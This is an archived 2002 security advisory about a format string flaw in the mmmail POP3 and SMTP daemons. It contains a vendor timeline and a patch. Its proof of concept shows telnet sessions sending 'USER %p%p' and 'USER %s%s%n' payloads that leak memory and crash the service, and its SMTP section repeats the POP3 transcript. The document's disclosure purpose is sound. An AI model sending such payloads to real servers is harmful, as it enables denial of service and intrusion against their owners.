[UNIX] mmmail POP3-SMTP Daemon Format String Vulnerability
From: support@securiteam.comDate: 06/13/02
- Previous message: support@securiteam.com: "[NEWS] Oracle TNS Listener Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Thu, 13 Jun 2002 07:45:34 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
mmmail POP3-SMTP Daemon Format String Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://freshmeat.net/projects/mmmail/> mmmail provides SMTP and POP3
daemons using MySQL, running as a non-root user. It also supports
bandwidth shaping. Relaying is not supported, although it has been
designed to handle many users on many virtual hosts. It is fast and
secure, uses threads, and has been written entirely from scratch and does
not rely on mbox or Maildir formats. mmmail includes 2 daemons, mmpop3d
and mmsmtpd. Both are vulnerable to a remotely exploitable format string
issue.
DETAILS
Vulnerable systems:
* mmmail version 0.0.13 and prior
Immune systems:
* mmmail version 0.0.14
There is a format string vulnerability in the 'mmsyslog()' function of the
'mmpop3d' and 'mmsmtpd' programs. This function acts like 'vsyslog()' if
'__GLIBC__' is defined. It calls the 'syslog(3)' function with a format
string that can be defined by a remote user. It is not necessary to
authenticate to exploit this vulnerability.
Successful exploitation of this flaw can allow a remote user to obtain a
local account on the target machine.
Proof of concept:
mmpop3d
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmmail-0.0.13/mmondor)) Service ready
USER %p%p
- -ERR Invalid username
In the log file :
mmpop3d[2165]: 3CFC8B53 USER 0x8052f620x80a44fc
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmmail-0.0.13/mmondor)) Service ready
USER %s%s%n
Connection closed by foreign host.
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
telnet: Unable to connect to remote host: Connection refused
mmsmtpd
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmmail-0.0.13/mmondor)) Service ready
USER %p%p
- -ERR Invalid username
In the log file :
mmpop3d[2165]: 3CFC8B53 USER 0x8052f620x80a44fc
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
Connected to test.lab.intexxia.com.
Escape character is '^]'.
+OK pop3.somehost.net (mmpop3d (mmmail-0.0.13/mmondor)) Service ready
USER %s%s%n
Connection closed by foreign host.
test:~$ telnet test.lab.intexxia.com 110
Trying x.x.x.x...
telnet: Unable to connect to remote host: Connection refused
Solution:
The following patch corrects this issue :
iff -dru mmmail-0.0.13/mmlib/mmlog.c mmmail-0.0.13.fixed/mmlib/mmlog.c
- --- mmmail-0.0.13/mmlib/mmlog.c Mon May 13 08:20:13 2002
+++ mmmail-0.0.13.fixed/mmlib/mmlog.c Tue Jun 4 12:37:19 2002
@@ -70,7 +70,7 @@
va_start(lst, fmt);
vsnprintf(buf, 1023, fmt, lst);
va_end(lst);
- - syslog(LOG_NOTICE, buf);
+ syslog(LOG_NOTICE, "%s", buf);
}
}
A new version including this patch is available at the following URL:
<http://mmondor.gobot.ca/software/linux/mmmail-0.0.14.tar.gz>
http://mmondor.gobot.ca/software/linux/mmmail-0.0.14.tar.gz
Vendor status:
04-06-2002 : This bulletin was sent to Matthew Mondor.
05-06-2002 : Matthew was very reactive and confirmed the vulnerability. He
released a new version.
ADDITIONAL INFORMATION
The information has been provided by <mailto:benoit.roussel@intexxia.com>
Benoît Roussel.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[NEWS] Oracle TNS Listener Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [CERT-intexxia] mmmail POP3-SMTP Daemon Format String Vulnerability
... mmmail POP3-SMTP Daemon Format String Vulnerability ... Successful exploitation
of this flaw can allow a remote user to obtain ... test:~$ telnet test.lab.intexxia.com
110 ... Connection closed by foreign host. ... (Bugtraq) - [UNIX] mmftpd FTP Daemon Format String Vulnerability
... There is a format string vulnerability in the 'mmsyslog' function of the ...
be defined by a remote user. ... test:~$ telnet test.lab.intexxia.com 21 ...
Connection closed by foreign host. ... (Securiteam) - [CERT-intexxia] libgtop_daemon Remote Format String Vulnerability
... libgtop_daemon Remote Format String Vulnerability ... CREDITS: Guillaume Pelat
/ INTEXXIA ... Connection closed by foreign host. ... (Bugtraq) - RE: Want to start remote desktop thru the CGI script
... The current script is triggering a telnet session.The same way ... Want to start
remote desktop thru the CGI script ... end of the connection, I ask somebody
at that end of the connection to ... (perl.beginners) - Suddenly it works
... > Microsoft Security Bulletin MS04-037 ... > Vulnerability in Windows
Shell Could Allow Remote Code Execution ... > This morning I am unable to make a Remote
Desktop Connection. ... (microsoft.public.backoffice.smallbiz2000)